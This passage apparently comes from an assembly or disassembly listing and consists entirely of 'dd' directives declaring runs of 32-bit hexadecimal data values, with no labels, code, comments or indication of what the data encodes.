		dd 76B9FB7Dh, 513A0EDBh, 0B42361D6h, 0C2002B29h, 0D8478085h
		dd 0CABBF5h, 9E7292C4h,	97B327EBh, 7415C500h, 0FD93A7EAh
		dd 66C800CEh, 1949D8B6h, 961E6537h, 6C0F8DCh, 1A126E5Ah
		dd 0CAB21E78h, 29D3C0AEh, 573D20D8h, 0F4884E0Bh, 0BF4B08A1h
		dd 0E065AA0Eh, 5F3E5541h, 7D4602DDh, 7C4D2F1Ch,	0FDE783F7h
		dd 0A26A010h, 796C00DCh, 8F556441h, 5F495EE3h, 98240014h
		dd 0DDFF338Dh, 58070043h, 6081F82Fh, 9A0B6414h,	9121DAh
		dd 0A2682A44h, 80F494DFh, 7DF555A0h, 7130330Eh,	0ABAA3EBBh
		dd 0B8B40E52h, 0B5C04588h, 0C9A75B87h, 4D558B00h, 4B676958h
		dd 47DE656h, 9259683Dh,	877080ECh, 7C0B78EDh, 0C15E3E96h
		dd 0A53012B8h, 0E0CD32D1h, 48038210h, 7A21208Bh, 0CDAC627h
		dd 0BB20F0h, 0D3836BD9h, 0FA568AC9h, 0CA41849h,	0C06FA2FDh
		dd 5AA400E7h, 3FDF289Ah, 79618A69h, 0B96AD439h,	3881B921h
		dd 343A94C7h, 6DD0404Eh, 9300280Fh, 0B1885495h,	18FD10h
		dd 0DD5CAD24h, 0F74EE03Bh, 0A163F303h, 0D0604CB4h, 0FF91B8h
		dd 47D476BFh, 3652D7B1h, 6EB56200h, 7E544688h, 7FFB00A4h
		dd 9B84DE64h, 58009642h, 6A757BBh, 3AA6D72h, 0A8D1A23Dh
		dd 53906E50h, 0CCF81289h, 103EA8BEh, 571DB9B7h,	5E58401Ch
		dd 2D2138DCh, 93A69CA0h, 0F418CA5Ah, 82192020h,	9C80C854h
		dd 0FF2D9DACh, 0E9D40C5Fh, 0F5206CC0h, 18C82E4Ah, 0E4090305h
		dd 9B46F91Ch, 70FCC881h, 0DC008648h, 6B25F4F0h,	5AE94870h
		dd 0FC540060h, 52655BE1h, 2A9DA8C0h, 0C7468FF4h, 0A0205688h
		dd 7773817h, 0C9D44F0Fh, 94B49204h, 0F3293DE8h,	0E9925A80h
		dd 0B8032EDFh, 1B040900h, 61C32258h, 1CE073B6h,	8331BE2Ah
		dd 36D5242Ch, 0F748E2B8h, 0D60093F6h, 0A8DE30EDh, 4EC09Fh
		dd 0D064ABB1h, 9B5C9408h, 60CFD500h, 9F3D9870h,	62630440h
		dd 0ACAF0A9Eh, 27580560h, 55C0E5A7h, 4B0E3Eh, 0AE73C1E2h
		dd 4E98B9EDh, 1EFC162Eh, 0AC454A1Ch, 42C006C7h,	0D9A550h
		dd 0BEB8CC04h, 1E8B611Bh, 53923707h, 0B3D0F6A0h, 99F7ABh
		dd 5FB8E3D9h, 1366502Eh, 54D26C00h, 0A1E8332Dh,	4C09005Bh
		dd 0E2DE7D6Dh, 0CAE0C3ECh, 0C5384660h, 7E1B3FDAh, 173F078h
		dd 8AF44DB5h, 0C85158C0h, 0AA6032A1h, 0BB486360h, 0EF491E7Eh
		dd 0EB4607D2h, 71A8D0C2h, 53008E94h, 0E7360DA6h, 3F4018h
		dd 9A11E173h, 4490E88Ah, 992EFFF2h, 13CD6CBh, 594A6341h
		dd 0F3EC32ACh, 0D6900B8h, 9BEFD4D0h, 0A8008458h, 0C1B5B113h
		dd 306676DBh, 1718B73Ah, 15066B69h, 0B4EC5D63h,	50886030h
		dd 0E4DF5F48h, 1EB31901h, 0C9688569h, 3AAE6A00h, 0F72EBB01h
		dd 3EE21977h, 1DEE23D0h, 0F7665C9h, 0E5804799h,	2C4DFE64h
		dd 0DB79D000h, 0D91602EDh, 4C3B3FE8h, 8F1F171Fh, 25606D52h
		dd 9B99FED4h, 240382F6h, 83D83D96h, 0B791D311h,	2E35CC51h
		dd 1BE556E8h, 48DB1886h, 3D8AD9E0h, 0FB70C118h,	9BC811h
		dd 0C96A03D4h, 797FD537h, 48B008DEh, 0ECB3BED9h, 0E8FB01A0h
		dd 39E540AAh, 9FFD4A1h,	10D0BA30h, 31ABD855h, 23B11445h
		dd 0AB2CCFEh, 39DBED03h, 0A3DA9502h, 56210087h,	0FC8A2405h
		dd 0E914FF1Ah, 232440BAh, 240303AEh, 62FC0A9Bh,	0D0512788h
		dd 9B90A024h, 11462918h, 5EDD19h, 3931093Fh, 0D506EAB9h
		dd 0E9FD30A0h, 10CD6A30h, 740318FCh, 2E4F0749h,	0F063E673h
		dd 4B4E258Dh, 4A5DB800h, 593E701Dh, 1C021F43h, 0D31E00F3h
		dd 92C5B150h, 99F6BF00h, 0F01939CFh, 0A9E0C4h, 82A272F5h
		dd 7064B08Ah, 9A76CD00h, 0C08CF023h, 0B471F07h,	5F4BC08Bh
		dd 0E62DA54Dh, 45F2CD00h, 648F193Ah, 0D1FB0071h, 0F42E8EDFh
		dd 17005E52h, 56B352Fh,	3873CB89h, 71803768h, 2D27F48h
		dd 4500C9E5h, 3B26E8A0h, 39449Ah, 1668E451h, 533FB2EDh
		dd 0E1EFF200h, 0C3FCF1F5h
		dd 0B8F800EBh, 0A02D321Ah, 16638AC7h, 0F0E308h,	0B941CA20h
		dd 216A336Ch, 66E86E0Fh, 0F20B83FAh, 308FE67h, 0D77405FCh
		dd 3EF88C76h, 0E80CB6BBh, 20C4086Bh, 0F74737A5h, 4C67C771h
		dd 0B90CE641h, 11F9CAB0h, 3418009Ch, 0D77886F7h, 80667FD6h
		dd 21B808h, 0ED34113Dh,	0C995063Bh, 4975CB00h, 7CC897A1h
		dd 28FB6FFFh, 9631AE8Ch, 0ED5ADE00h, 25BB9D6Bh,	1ED80649h
		dd 36D4AE52h, 0CD5944Ch, 0C9C286E7h, 787D0063h,	42AA16EDh
		dd 19C3C867h, 90883480h, 1F46AC8Fh, 0F85A86F6h,	83966607h
		dd 400B402Ch, 31C9BC64h, 0EACB00A3h, 19F68544h,	8B542FFh
		dd 81218055h, 1AF99BB1h, 48590016h, 0A5655A49h,	0C380E045h
		dd 292C78BBh, 69CF93Dh,	4157671Fh, 7CEB0200h, 10D55C9Ah
		dd 0DA8D0082h, 0A99E15C0h, 2A001E27h, 164FBAF7h, 3AEC42A3h
		dd 0EE00AB13h, 0F424DACAh, 69C0B3E4h, 1DDDFA19h, 5F2700EFh
		dd 0A551544Bh, 0C92AABB2h, 433DE007h, 0EB0D00AEh, 3D3B1C2Ch
		dd 51AA005Ch, 346611F6h, 0D32A10FCh, 1200ECDBh,	6998FED5h
		dd 33F7A018h, 0E3084070h, 0ED2F2100h, 9BDB35FEh, 1828FAA7h
		dd 0E9F6EACFh, 75006C58h, 955B3297h, 12F91DFBh,	54F049A4h
		dd 49677348h, 0E714F06Eh, 9F7D179Ch, 4FFDCE00h,	55F88F8Dh
		dd 29CA606Ch, 83CEBF2h,	328B573Dh, 300CB001h, 0AC08FEF1h
		dd 589DF869h, 0FE00E91Bh, 0ED5DEFF0h, 7AEE071Eh, 0C1677BD9h
		dd 0D3DFCF61h, 0BF319CECh, 0FDCBEE01h, 37D4B04Ah, 0AB6F003Ch
		dd 1F9BA5CEh, 5C09DA8Fh, 30E2F29Dh, 11B8F7C4h, 88453219h
		dd 40C180EFh, 0D69201B9h, 45007EE6h, 3DE2A9Fh, 120ACB5Bh
		dd 6B2EF0Bh, 99335414h,	4367DC1Eh, 0BB632B40h, 3A341252h
		dd 46020826h, 5887512Ch, 0DF98E4E0h, 0F873AB33h, 11FCC1FBh
		dd 0B0EA9058h, 90692B33h, 0FB203D90h, 2E2303Bh,	0F51A8501h
		dd 0E4A8430Ch, 5423FB4Fh, 0F0829CB7h, 0A244F847h, 0B5280860h
		dd 1444890h, 530D03EAh,	1C9043E8h, 68C599F0h, 626F7301h
		dd 0C8A33D7Ch, 30A43842h, 43113414h, 0B6881887h, 340D3980h
		dd 3D6385ABh, 550111AAh, 0C94FF932h, 52F04881h,	1D807C99h
		dd 0D07E5EB8h, 21DD00EAh, 0DEFAB07Ah, 5D125846h, 3848C0FBh
		dd 0FEF4C013h, 402169A3h, 0B991A0h, 3FFEEC32h, 50D7B471h
		dd 3CDC30h, 0C8C25F3Bh,	0F1DFC338h, 0D3F93313h,	0C32B3C08h
		dd 44F99BACh, 885A18ADh, 9B76A47Ch, 0FEE76704h,	0A88C94F9h
		dd 686002Fh, 4976BAAh, 7F00FB99h, 115B3BE4h, 30E7C80Ah
		dd 6349AF7Ch, 39DE68E8h, 93B65407h, 2218D226h, 0A558FD71h
		dd 270545Ch, 0A2C84353h, 276A30B7h, 1EDCFC03h, 867CC93Eh
		dd 0C0AFEC79h, 0BE055A29h, 32003AA5h, 5D2D60F3h, 3DFA6526h
		dd 0CF0768DBh, 8A498044h, 2467CC8h, 0A2F4A600h,	196227FFh
		dd 0EAD25618h, 506F2221h, 39D38F74h, 186A76B0h,	80ED11F0h
		dd 3218B8F6h, 0C0B4B11Dh, 0B4B93FC0h, 79D6E403h, 64F2513Ah
		dd 6512B061h, 69A2BE02h, 0EC84748h, 7AC0EF31h, 0F6DB0313h
		dd 34C0B158h, 3C8E5192h, 57C1F088h, 28703CBDh, 0A299EE80h
		dd 69C898A4h, 0F87C01C2h, 8052FD0Ch, 0C968D082h, 0F4BC502Ch
		dd 1960B144h, 8623F834h, 71AB1170h, 0BD1C5598h,	84001604h
		dd 76B7C47Dh, 40450425h, 88C179E7h, 0D0708B44h,	1F486458h
		dd 2C126BDCh, 9BAD8860h, 0A54423F6h, 7D265111h,	21DA02CAh
		dd 5C44C9C5h, 7763900h,	0D2F929F4h, 18A5813Eh, 24340A15h
		dd 50601087h, 34730E3Eh, 3D20F100h, 3586C263h, 0F77E0AB4h
		dd 80E4E7D3h, 9EC4B331h, 41F33E5h, 0EF8116D8h, 923E6FE0h
		dd 290044DAh, 5940E5F7h, 9218B8h, 6B2EBDF4h, 0F8852B1Ah
		dd 1B67DB2Eh, 8C3A1200h, 2D9DEF5h, 7D575094h, 0A560E7CCh
		dd 0DF2EC5AAh, 9D443C31h, 0E7E218A2h, 0ABAD30h,	0F4B5150h
		dd 0D262BA54h, 0A9D1EE67h, 6AF3E000h, 0C47A3EB6h, 51D41381h
		dd 0DF636D73h, 7BA84958h, 83F79904h, 4888E412h,	0DAD30060h
		dd 412BC874h, 0D0352E1h, 0D4C454AFh, 328AF835h,	0AA7D0053h
		dd 8FBA7B6Dh, 6512B2E8h, 0C60410Bh, 23F79BA2h, 5411BD44h
		dd 9BBA8200h, 74675109h, 2A867B02h, 8492A1B3h, 0F960EC88h
		dd 32231BB8h, 0ED1115h,	39B942CBh, 161357DEh, 0CAB8FFh
		dd 0DFBF7CCCh, 0ED601CD9h, 1E29C1F1h, 310700F7h, 5D91B280h
		dd 3A185B0Dh, 7999C964h, 35160E5Ah, 0F180AFFAh,	0CBC28448h
		dd 0F7E8D400h, 13ABF5E9h, 84654896h, 0E8C55BCh,	318F78EEh
		dd 0EDFA1BE1h, 9E4627Ch, 465907DFh, 0C448A5DCh,	0A5B360B0h
		dd 46FD4A4Ah, 21B25A68h, 80F918C8h, 2E9499DCh, 185CD850h
		dd 0C01688D8h, 69AEFEEBh, 158EE843h, 46B9FEA0h,	9E06AA35h
		dd 68C90A44h, 20B7961h,	5BA1D77Bh, 0E884C1FAh, 0D80164E9h
		dd 9FFD3214h, 88ECE84Ch, 0B9002BB4h, 78F08CDh, 3F63250Eh
		dd 4160E4D5h, 49527E78h, 0ED8FEC02h, 9DC0DD2Bh,	81A21198h
		dd 0AB75E6B5h, 8ABEA870h, 2DCA4CC1h, 65BD0F70h,	3BFD2041h
		dd 0F0404D61h, 13774A0h, 0F92812BFh, 80D5D21Ah,	211EC4F9h
		dd 3F6C154h, 0DC93F45Ch, 0D907FEE1h, 0F2713941h, 496FACC0h
		dd 0A77073Bh, 90F38EDFh, 0F697555Eh, 0F6F070B7h, 1C5609EEh
		dd 7C656521h, 0C0645AC4h, 1F4A58BFh, 0BC4838E9h, 0DB008CEDh
		dd 7CE2EACCh, 0B82B0522h, 2254684h, 44EB9BAEh, 1057319Dh
		dd 1B9BA686h, 798BC984h, 0E4DC99E0h, 0B84496h, 0A44F1327h
		dd 6D52BAh, 3611F47Fh, 5CDF3554h, 0A05C9D56h, 7E471DDh
		dd 9D72A383h, 0BE75B3EBh, 3CD0815Ch, 60673B64h,	42E21A9h
		dd 539600E6h, 0BD604ED7h, 0B801E32Ch, 361BE20Fh, 8020F194h
		dd 5E6C96B3h, 217E446h,	0B0D41D87h, 655E8A9h, 6730ECB2h
		dd 648289C6h, 0A760042Ch, 90B3C9A3h, 0B9F76340h, 3F38880Ch
		dd 8C0D804Eh, 0ADFEF604h, 0B962F069h, 0FEEE1C20h, 17A4027Eh
		dd 6452226Dh, 9900AC52h, 0A8A366F3h, 1AB258F8h,	0BCE37640h
		dd 0D4C15890h, 0B7E69000h, 0F9932BB5h, 0A1CA0096h, 5CE9AD6Dh
		dd 0DF25A8EBh, 1190176Bh, 0FB818057h, 2D0B27Dh,	6C71A11Bh
		dd 94C01030h, 6F3CE653h, 0C2B0064h, 0D374F74Bh,	0A10D0126h
		dd 0D2197673h, 61E19DD4h, 0BADF2C40h, 0C026F11h, 0FFEA54DDh
		dd 300080C1h, 0E2D48F8h, 0C227AFh, 0D63FC1AAh, 0A4940D72h
		dd 0F4815005h, 18909A99h, 4937FAFh, 0BAAB1DC2h,	0D94C0AAh
		dd 44F0D18Ah, 0D5B7A70Fh, 0B0C9C412h, 11CAF201h, 7B61F588h
		dd 24ADC7C0h, 809E3A3Bh, 69776E80h, 67A02C8Bh, 95805354h
		dd 7E552000h, 0FB653D7Dh, 0F6B90705h, 0E01F71A6h, 0C9A262BEh
		dd 6D61A560h, 7A7634h, 389AAC54h, 0D92EEA10h, 7000CBE4h
		dd 0CE82BE71h, 270C95E6h, 98216CE8h, 70A25CDCh,	7C0C9838h
		dd 81C46499h, 0DD1A00F7h, 4A7EAC25h, 5003A08Fh,	4B3C1253h
		dd 31498DCh, 0CB673052h, 0D3BB9B31h, 99FA4F00h,	8A61C95Eh
		dd 7BDE14A9h, 901A0AAh,	195D719Ah, 526FD013h, 0D1D3CF00h
		dd 1EC6385Ch, 59FE14CDh, 461D814Bh, 0BB8A00DFh,	85E815A2h
		dd 3A43C600h, 364294ECh, 553F0788h, 317F5096h, 30DC9122h
		dd 6730E388h, 0CF1491C5h, 6A8A005Eh, 48BFF7B1h,	0CC245124h
		dd 0F0024ADh, 1258FCFEh, 26B87210h, 47202FA5h, 7C56C1A1h
		dd 1B880B0h, 11039992h,	18E099D3h, 0E9A7A866h, 0C3E88A0h
		dd 0AD162202h, 29BC7EE7h, 0FE78A4C4h, 0B962C700h, 0BB958F31h
		dd 2438C1A7h, 40FB18B0h
		dd 974ABE8Ch, 8DCDE707h, 49F3464Dh, 0B95CE0A0h,	4EF400DCh
		dd 4FB03962h, 0E32450C9h, 35439464h, 0C3AF8802h, 24EB03DEh
		dd 0F0DC3DB9h, 8C1E27E0h, 0E9DF602h, 0E475C942h, 0A804EC70h
		dd 702CF4h, 849D582h, 3CF7C838h, 0D0141A14h, 90ED27E5h
		dd 1476DF20h, 704C64C2h, 0CED2FE00h, 0F791B528h, 0E60C5600h
		dd 921A76F8h, 9BFA0001h, 0A30A7F3Bh, 0CA0E23DDh, 80D52CACh
		dd 686AA50h, 90A87B74h,	0D7B00014h, 0A739737h, 0CC92FBECh
		dd 4CB52107h, 4530ACBDh, 50F918Eh, 0AB0BB071h, 0F9368031h
		dd 39006197h, 8BF1D9E2h, 4061BA4h, 38A532F5h, 96C8727h
		dd 0B9564000h, 1100F865h, 75603F3Ch, 30711035h,	0D180AC84h
		dd 0E00ECF9h, 9B92027Fh, 434FD5h, 9D992FD0h, 3ADC7671h
		dd 0EB3D7416h, 0E12AA0D0h, 0C4080A9Ah, 8094FBC9h, 493EE445h
		dd 3C12AF18h, 0D201327Bh, 76C8630Ah, 0E716BC29h, 0C474D77Ch
		dd 7230B477h, 609DBD26h, 43616200h, 900CA25Bh, 12FE658h
		dd 4611F9C4h, 80ACC922h, 6D206571h, 0F16E87h, 43977007h
		dd 5B3404A5h, 341C0C24h, 50257726h, 0DFB809C8h,	9C00BF7Dh
		dd 677265EBh, 0B96894h,	0D61A80BAh, 3541C7Ch, 9789097Eh
		dd 8C942852h, 253F37ACh, 2224802Ah, 0F57BA33Eh,	3CCC00EBh
		dd 686DE9C5h, 4000FC66h, 5741FDBAh, 0B0F02404h,	9AC30081h
		dd 0EAB21722h, 0B8018603h, 0C45BD727h, 289E4A62h, 78F8C049h
		dd 7CF5B906h, 64067BF4h, 8CF44D4h, 9C570020h, 763280A4h
		dd 216162C6h, 341B8239h, 0DC85CCh, 5D2F3B17h, 0BAFF9295h
		dd 0B6DF8303h, 4EFC5Fh,	0A32BAB91h, 0BDF0E3B4h,	731DF500h
		dd 0EF29656Ah, 5069C009h, 4EE9EB7Dh, 0FC8B200h,	0EF66BABBh
		dd 0DA21CF0Ch, 3F50A6A1h, 8526CC01h, 92F5520Fh,	0EAB1651Bh
		dd 5141400h, 304E813h, 0D63C6A7h, 89004D5Dh, 2289BDE9h
		dd 0C65011Ch, 0BEAA875h, 8D00E439h, 0FD27F3E0h,	6070E82h
		dd 8E2884BBh, 40A2017h,	8054C80Bh, 0B89F3DBEh, 0A43B0044h
		dd 0B8934E6Ch, 0DAFA24EBh, 853F01ECh, 0F3B5E42Dh, 9D2C1B98h
		dd 5481F900h, 0EACAB26Ch, 44480C40h, 668107D6h,	0EF742EFAh
		dd 0F65BA51Eh, 0EAE96883h, 8F210778h, 1C3D64h, 109344BCh
		dd 4BFC9F01h, 0F0514DCFh, 3FEC3EE4h, 0C89D98D5h, 4A0A8C09h
		dd 3800B9B8h, 9CB3A32Eh, 78C6970h, 0ECE846C9h, 0E64459Dh
		dd 11ECF8B8h, 2800D131h, 0C1790640h, 93D09Eh, 44385FFFh
		dd 0A9542D63h, 0C6EC5AEAh, 0B0E8D731h, 0BBCD4632h, 8802D5F0h
		dd 0D7EC630Fh, 0EA0BD11Dh, 0D09AE53Ah, 97661000h, 0DE3D210h
		dd 4647AB25h, 2A50BE88h, 44017C07h, 1E54367Fh, 96F0772Fh
		dd 0F56F0059h, 38B617F4h, 1B0FC929h, 237E9F08h,	0C7CE035Ch
		dd 612CBD70h, 54D8A84Fh, 60980220h, 0BAA38A0Fh,	0B323E08Fh
		dd 690106EAh, 0D23F65F6h, 0B020B575h, 0CB0A24DBh, 91284194h
		dd 5042221h, 0DED3FDDh,	6061984Fh, 0BB54A91Ah, 0C6FC0F92h
		dd 0CE21A803h, 406D01DDh, 1B06E1F8h, 0B713C90Fh, 9F4440A4h
		dd 28CD1934h, 52B97520h, 4D003086h, 62124F8Ah, 890ECBA0h
		dd 0EDBB23F4h, 0E8FB9149h, 88F28h, 0EAFEB163h, 8ED1B267h
		dd 7FA40D03h, 428B2Fh, 8462DDC8h, 96103AD2h, 90C254E4h
		dd 98A541F8h, 0C05E90h,	0A1584036h, 0AEF06FAh, 0DED98CA8h
		dd 9965AC00h, 9B3D97BAh, 5FF90372h, 5661BBBDh, 57094173h
		dd 83A95075h, 0B895662Eh, 3FECFFDDh, 0C049FDB5h, 5B4C0800h
		dd 735E6D22h, 0BD518300h, 0FFEBCCBCh, 11A409CAh, 0A5800F4Eh
		dd 34B3E6D2h, 0B04FA637h, 668258D2h, 0D0DB2640h, 239E3B3Fh
		dd 428A402Ch, 5B3AF047h, 5AC4600Eh, 1844630Bh, 8885BCC3h
		dd 5E335400h, 224B6236h, 5A2574EFh, 0A8F7C120h,	1EBF8CF0h
		dd 409418CBh, 639F9275h, 0C1CBD60Bh, 46180049h,	1FBC7283h
		dd 15277A5h, 38D75E79h,	0CB708058h, 0DD10C8B5h,	571E005Dh
		dd 0FD1BD8AFh, 48119EDh, 10A14DCh, 6B332450h, 33CBF4A1h
		dd 21A30060h, 69A69332h, 659E2C02h, 7CB50330h, 890048FCh
		dd 7E9103FDh, 1DE1DF1Bh, 86852B4Bh, 0A91DD00Bh,	1A8C2818h
		dd 0A462BA71h, 347CF4h,	42E6EE81h, 83283BD8h, 0FD29DC63h
		dd 4B610256h, 735B45BFh, 20619861h, 64890BECh, 8848C3D5h
		dd 358C0072h, 9CFD05EBh, 3B06D266h, 0B33C263Dh,	96544528h
		dd 2C082748h, 3F8A8201h, 0F88112C8h, 0BB882804h, 676F0119h
		dd 0CA0AFE61h, 69403450h, 73EF317Ah, 0DF23FA29h, 310501C8h
		dd 9000457Bh, 2EC16CD9h, 1FCAEE5Bh, 80D2AF82h, 52371421h
		dd 0E54DD7CCh, 65120678h, 61B9FCh, 0A5318723h, 61DA9A2Bh
		dd 820229F8h, 0C7AB3A64h, 0D85C93BEh, 24CCB4C5h, 3BB027CAh
		dd 0E2250A80h, 2DA12A85h, 40F3Ch, 1C729CC6h, 520B4A24h
		dd 6D0DC0D5h, 0F8E99F0Dh, 0C948CCB2h, 4A406018h, 0A22CF1Bh
		dd 8228FCAFh, 0B2D44088h, 0A500685Fh, 6769A717h, 1471A9Ch
		dd 8D0ACAB4h, 0E895D962h, 1F05B0CDh, 1EC10B76h,	4783BC20h
		dd 642012B8h, 8FC420FCh, 6607945Dh, 1738A27Eh, 869EAD41h
		dd 0B4AE0CCh, 65DFC8CDh, 25BEE018h, 0E2AFDA00h,	0A7E3E831h
		dd 938900BFh, 7A2305DCh, 0BB0A3590h, 0E8AC1FA4h, 75EF3404h
		dd 8CA91C40h, 0AA00DBF3h, 0DAB30387h, 5C282010h, 9C2E40A5h
		dd 77C40A4Ch, 0DF30F86h, 4B661080h, 0C0C7EEDCh,	8B622348h
		dd 665Fh, 1566545Bh, 2F64363Fh,	7CE28600h, 3CE410F0h, 6C040328h
		dd 85EF1B29h, 8CA73FB8h, 0E8C9A307h, 4B0F9994h,	0D7EC1984h
		dd 9EF0D409h, 2E05181Eh, 27D2E38Eh, 4B7E7AC3h, 36F800CFh
		dd 282811C6h, 2220158Bh, 3A7C52C9h, 0A04644Ch, 0A04CFD3Bh
		dd 6011288Fh, 978C5317h, 0ACA437h, 2ED3D189h, 0C301E1E5h
		dd 6D699B04h, 2C92400Fh, 0AC1C44CEh, 0EAC40990h, 8C803CCCh
		dd 442C66ECh, 1BC66F1h,	99E10D09h, 0C448EA70h, 0DE0E0053h
		dd 0F1EBD7C3h, 6B78E6CCh, 0AAE77805h, 0BCD27475h, 7094603Fh
		dd 98E8B0EEh, 0C181C432h, 8EAA80C6h, 5D05D2E0h,	0C768886Fh
		dd 441202C0h, 1418B1D4h, 52808CEDh, 0B90E88F6h,	0DB72A308h
		dd 0CC8139CEh, 89BB1D3h, 0E5A830BBh, 0C7C4CA58h, 8759ADCDh
		dd 12C0CEA1h, 0E4B01AF2h, 442A0B8Bh, 989803CBh,	6505D1A6h
		dd 33CC3297h, 0B6158803h, 0AD89D995h, 202057FDh, 0C36B244Ah
		dd 0E1000A0h, 0F2E35A32h, 0ECCBA724h, 0E01D0411h, 0C058E60Ah
		dd 0B6E5C947h, 0B5DD8CA8h, 2641CA0Dh, 5801382Dh, 475910Fh
		dd 0DCD71DE0h, 719D4A56h, 21104688h, 0E4F5A751h, 8401A0AEh
		dd 48DCEF81h, 18245FF7h, 1225280Bh, 0EE6F18C0h,	0A64770EBh
		dd 0C0B42658h, 58FE8377h, 2927908h, 2D6F07B4h, 9CE0E4A4h
		dd 9C985A11h, 280AC242h, 81C81390h, 0CCCD5367h,	0DB2020E3h
		dd 0CA5344FCh, 5A9714A8h, 33390E98h, 9F55808Bh,	98CFF893h
		dd 0B2340474h, 0C2DA6518h, 0C083DC78h, 42CF936Ah, 0FC403A0Dh
		dd 7444EA5Ah, 52C101FBh, 503D9102h, 51C8DF7Fh, 69004865h
		dd 4D84A263h, 48D0A3D3h, 5C76ACA9h, 0B961870Ah,	500FEB6Dh
		dd 8A3C739Ch, 10253A1Eh, 0C095EF00h, 0F87FD1EAh, 0BA1E320Fh
		dd 42976C8h, 28404274h,	0F14345ABh, 0A38B3Fh, 4F835C37h
		dd 38C88EF2h, 11B0EAF9h, 6A760439h, 38ABAC03h, 80FC6270h
		dd 983C14F3h, 0C95144E0h, 34A4370Ah, 4C0F8191h,	0CF6BF4h
		dd 0E9D1DD28h, 24637C77h, 98C886Ah, 0F8845CEAh,	4BC94F50h
		dd 44F0807Eh
		dd 364785h, 0D4D1B969h,	0DA6476CCh, 4834D702h, 0E054F0C9h
		dd 84395Ch, 6872ECFCh, 8963A06Ch, 2219581Eh, 98B90B9Bh
		dd 394BB79Ah, 880E6D33h, 16403789h, 0BDD532A4h,	0E580ECB1h
		dd 0C11A6E5Ah, 0F91060EAh, 0FF2A9FD0h, 7F031200h, 0FE3EF389h
		dd 90ED4CD9h, 0B0061980h, 0F505F065h, 109639DBh, 0A00530C2h
		dd 0E0C9C4D0h, 4DFC283Bh, 0DFAD0034h, 0B536333Eh, 80CDE60h
		dd 0C8B15E88h, 2F9F897h, 8B61E3A1h, 5081920Dh, 0EDFB69D3h
		dd 34442086h, 96284C09h, 130848Fh, 0CA518B41h, 0A918C811h
		dd 2D007D4Ch, 97D7458h,	4490EADEh, 0BA7F05CEh, 4B90B01Eh
		dd 7EBB89h, 0C8C2C534h,	0C2BE7440h, 0B2BABD6Ch,	6827B8CCh
		dd 514C10D0h, 907C64h, 0D57FA56Fh, 5FB06AF9h, 2D0DB48h
		dd 2F730EF7h, 69DC40A9h, 63291E7Fh, 96A7C078h, 8912860h
		dd 0BAFD94A8h, 83E3E9C0h, 0DB5BD7h, 0E4B7EA9Ah,	0A39016F2h
		dd 6754FB02h, 0E48D289Fh, 1E4090E0h, 27930FD9h,	98606432h
		dd 0CA02BF95h, 0CA0EFE8h, 38662Bh, 31795B05h, 38BD2E4Fh
		dd 0D27A2204h, 5484D92Ah, 885B8881h, 0B9CF0BC8h, 0E49680B4h
		dd 0C570E61Ch, 0ADD98A0h, 210CB50h, 64FC1628h, 79D91A03h
		dd 0F1C72DD0h, 8C70DE03h, 395B34h, 0BC3F09BCh, 0B0B18C4h
		dd 18BEA140h, 0BACE48h,	22ED604Dh, 97C4D3C7h, 0E12CA4Ch
		dd 2382DB78h, 2362BFh, 8EAC1579h, 7E333A08h, 0D53F1600h
		dd 0A2BDF812h, 18130494h, 8CE14186h, 9200E400h,	1C566FC3h
		dd 0DA5EF2h, 60FFEBEDh,	0FEF1161h, 0AB1529C0h, 0E4D9B699h
		dd 652100FBh, 41CE1675h, 0CC09ACB0h, 0AEC8BAC6h, 4C001270h
		dd 84D7D651h, 1BDD002Fh, 0E2C99A76h, 0ABE661AAh, 6237C47Fh
		dd 36D0B950h, 90CE1487h, 34A881B5h, 0A1400030h,	1D104AE8h
		dd 5B02B667h, 0E19568A8h, 3C7C8061h, 8F395Ch, 0F0109E8Dh
		dd 83281E09h, 0F18EB700h, 79E19A44h, 488FF488h,	0F8C31821h
		dd 16A50BBAh, 1F780844h, 64562997h, 14315C13h, 0C0141A89h
		dd 30840C44h, 94846198h, 9E00F5F2h, 0BE068D5Ah,	5D74674h
		dd 42F42004h, 0B3483CCh, 4423D14Fh, 0FF9EC06Dh,	0CB1135Dh
		dd 1538888Dh, 86ACA800h, 4272F0A1h, 1C890177h, 9DCED2EBh
		dd 0B2B9E8DEh, 0A85ED406h, 514BFCh, 0E7647B43h,	12EDF09Dh
		dd 1187B1C0h, 35A3FC0h,	2E925F76h, 30004B62h, 2AA107F1h
		dd 51C5C7h, 0DFB85CF5h,	0B5CFFEB0h, 80F1273Ah, 0B19D113Bh
		dd 78DA26B4h, 2A7CCBh, 0E386746Ch, 87E5030Fh, 2FA75500h
		dd 0C98D23EBh, 0D5BA00C5h, 0E9069D29h, 0BFF09FBBh, 7953C003h
		dd 0A06643F3h, 1CF79BFBh, 80CB6B7Bh, 1C70ACF8h,	3218B664h
		dd 0D169CEDAh, 4EE00DCh, 5FE15BF4h, 8300C056h, 2878C7F5h
		dd 9F64C1h, 6CA03F75h, 5706C87Bh, 0E2886000h, 77D937BAh
		dd 790E009Dh, 0D0AB59ECh, 1318B076h, 6461C56Eh,	1C0206BCh
		dd 0F111D910h, 6D3B9B7Ah, 5F320009h, 37DA66E1h,	741018D4h
		dd 4B9139D5h, 84FE08C6h, 76EC00B6h, 2F44B24Ch, 6100CDE7h
		dd 7D468347h, 0C0F30382h, 0E95A2A58h, 85038D19h, 0AB9D5998h
		dd 0FCCFF07Eh, 21E20CBFh, 0F261CADAh, 923C187Fh, 688B80EFh
		dd 87511119h, 14E71FD1h, 31E14033h, 1BDCF76h, 3111F240h
		dd 9641C768h, 0CA1814Ah, 1D584B29h, 3B1567ECh, 0F7007150h
		dd 0FFB36CD7h, 0A30BD2A9h, 80D0A058h, 857232F0h, 0EEBC06DBh
		dd 493F71FCh, 691AD330h, 72835439h, 0BB1C0068h,	0E584F549h
		dd 2901B848h, 0FCCED024h, 39923C72h, 0B0200383h, 410016D2h
		dd 0E9653A73h, 0EEA1Ah,	59E55036h, 989F303Fh, 59D1714h
		dd 635D00CCh, 7236AB74h, 55540089h, 0FE9F1F4Eh,	7A15E5C2h
		dd 0ACEE02h, 0BA0CB705h, 0E37099h, 53A341D2h, 82FCD41Ch
		dd 0F1DADB11h, 5A84B105h, 0F95C054h, 0D0A19132h, 77EE11EFh
		dd 0E8A26260h, 693D0273h, 6F117132h, 0A6001844h, 1F281226h
		dd 1512F7Fh, 21698AA8h,	499E3219h, 3C9C02F4h, 0B1613020h
		dd 0EE1705A0h, 1C8E1540h, 7382C188h, 0D456367Ch, 61C0F3DAh
		dd 0B43DE05h, 0EA47DD2h, 51DB6B55h, 512E9126h, 57099B00h
		dd 198ABFAAh, 25780005h, 0CA83247Ch, 208A7FCh, 8FFE7A11h
